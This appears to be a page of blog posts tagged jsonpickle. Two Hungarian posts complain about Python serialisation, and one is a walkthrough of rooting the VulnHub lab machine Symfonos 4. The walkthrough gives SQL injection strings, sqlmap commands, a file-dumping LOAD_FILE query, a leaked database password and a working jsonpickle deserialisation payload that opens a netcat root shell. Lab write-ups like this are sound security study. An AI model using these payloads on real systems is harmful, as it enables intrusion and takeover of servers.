#JSONpickle

[kgyst]

Jaj bazmeg ez a jsonpickle

Most már ott tartok, hogy kb. kézzel írom a jsont mindenről is

[c-cracks]

Symfonos 4

 So this is the fifth machine I’ve rooted and I must say it was one of the more enjoyable ones thus far! You can download this here: https://www.vulnhub.com/entry/symfonos-4,347/

Scans

I started by running enum.sh, producing the following results:

From this we can see that there are two services to enumerate- SSH 7.9p1 and Apache/2.4.38. There are also a few publicly known vulnerabilities associated with the Apache server; from my experience it’s worth leaving these as a last resort if manual checks of the website prove unproductive.

Nikto also reveals the presence of a page that our simple directory enumeration failed to spot- atlantis.php (mentioned in robots.txt)

Atlantis & SQL Injection

Upon visiting atlantis, we’re greeted with a simple login page which is revealed to be vulnerable to SQL injection (after some trial and error):

This would roughly resolve to:

SELECT * FROM users WHERE username=‘1′ OR 7941=7941-- ss’

The ‘--’ comments out the rest of the query, making the password value and “ss’” redundant.

After a successful login, we’re greeted with sea.php and a GET query parameter named ‘file’:

I fell down a bit of a rabbit hole here due to my inexperience with web apps and a lack of confidence: I tried for a couple of hours to exploit this when I should have stopped after the first 10 minutes but I convinced myself I was trying to exploit the GET parameter wrongly due to confirming it was in fact interacting with the filesystem (file=poseidon/../hades resulted in information on Hades being returned).

SQLMap

After finally reaching a point where I realized this parameter was not going to get me anywhere, I went back to the SQL injection I had discovered... Perhaps I could find a way to gather the required information this way instead?

Being an SQL noob, I ran some tests with SQLmap (big no-no in OSCP I know; I’ve only ever exploited basic SQL injection thus manual testing would have taken me ages!)

Firstly, I attempted to recover information of the in-use databases:

sqlmap -vvv -u http://192.168.0.23/atlantis.php --forms --dbs

This revealed the presence of 4: information_schema|performance_schema|mysql|db (this would have been a query like ‘show databases;’ or similar.) More importantly, we know that more information can be gathered from SQL injection.

I decided from here to gather information on the current user (root, revealed by something like ‘select user();’) in addition to testing the extent of our privileges by grabbing /etc/hosts.

From here I decided to grab /etc/passwd to enumerate system users, discovering the presence of a user named poseidon.

File grabbing query: username=5265' OR ORD(MID((IFNULL(CAST(HEX(LOAD_FILE(0x2f7661722f7777772f68746d6c2f7365612e706870)) AS NCHAR),0x20)),6,1))>1-- LxQz&password=

While I ran my SSH brute-force tool against poseidon, I proceeded with using SQLmap to exploit the injection, next proceeding to look at files on the web server itself.

Checking atlantis.php revealed database credentials: <?php   define('DB_USERNAME', 'root');   define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');

Note: definitely just copy and paste the hex into an encoder as it runs- you find the credentials in 10-20 minutes vs waiting for the whole file to be revealed.

Hmmm... I had a feeling using this password with root wouldn’t work (too easy) so I tried to login to SSH with this password as poseidon which proved successful.

Privesc

Privilege escalation was actually quite simple but it took me a while due to having no experience with JSONpickle and also spending a large amount of time looking for a method other than exploiting a local web server hosted by the root user (I knew this was going to be timely for me but it proved to waste more time looking around.)

After a few hours of trying to exploit the web server directly and thinking the vector was SSTI, I finally had the sense to create a small test program to see for myself what was happening when I performed certain injections:

JSONpickle

#!/usr/bin/env python import jsonpickle import base64

b64=input("b64 str? ")

user = jsonpickle.decode(base64.b64decode(b64)) username = user.username print username

Root

After this, I found the working payload in a matter of half an hour:

cookie:username=eyJweS9vYmplY3QiOiJhcHAuVXNlciIsInVzZXJuYW1lIjoic3MiLCJweS9yZWR1Y2UiOlt7InB5L2Z1bmN0aW9uIjogIm9zLnN5c3RlbSJ9LFsibmMgLXZscCA2NjEgLWUgL2Jpbi9iYXNoIl0sMCwwLDBdfQ==/{"py/object":"app.User","username":"ss","py/reduce":[{"py/function": "os.system"},["nc -vlp 661 -e /bin/bash"],0,0,0]}

This didn’t have to include the username upon review; if it’s ain’t broke don’t fix it. xD

I used Telnet to send GET requests to the root running web server (you can see below how this is done- you just type it manually and double-enter when the relevant lines are complete.)

This opened a Netcat listener on port 661 for the root user, executing /bin/bash upon successful connection... And that’s it really. :)

Definitely has taught me to have a little more confidence in myself- if something hasn’t yielded any results in the first half an hour of testing it, it’s probably not vulnerable to anything- not everything has a complicated hidden method of exploitation.

EDIT: So, that’s not it really... xD my path to root proved to be different to a majority: https://www.hackingarticles.in/symfonos4-vulnhub-walkthrough/

Turns out my instinct was right- I did miss something with the LFI (I had tried to access /etc/passwd and several other files with no luck; accessing ../../../var/log/auth reveals a potential for SSH log poisioning which you use to create a reverse shell and then you can port forward to port 8080...)

[kgyst]

Bazmeg Python, bazmeg XML

Történt pedig, hogy az utóbbi egy-két évben elég keveset pythonoztam, de most van egy érdekes félig hobbi, félig világmegváltó projektem, ezzel kapcsolatban szaladtam bele a következő teljesen abszurd problémába: pythonban objektumokat ki lehet írni JSON-ba (jsonpickle), de nem lehet kiírni XML-be.

Az opciók lennének:

gnosis: utolsó kommit 2016-ban, csak python 2.x

lxml.objectify: xml-ből olvas és össze tud tenni ojjektumot, de oda nem ír

xml2dict : xml-be ír, de onnnan nem olvas(!).

a két utóbbi by default nem kompatibilis egymással, csiszolgatni meg gányolni kell

az xml2dict annyira faék egyszerű, hogy nem kizárt, hogy érdemesebb lenne megcsinálni a visszakonvertálóját

Én viszonlyag sok XML-lel dolgozom és azokat (stringben reprezentálva) nem annyira lenne elegáns JSON-ba kiírni.

Abszurdum.

Most agyalhatok, hogy skippeljem-e az xmlt egyelőre. A dolog unit testinggel kapcsolatos, naon sok case van xml-ben reprezentálva, viszont nem ez a jövő, a mostani projektek nem xml-függők, csak hát akkor meg éles projektet kell elővenni a hobbiprojekt teszteléséhez, az se annyira elegáns (nem kockázatos, csak ezt a két világot nem akarom most összekeverni).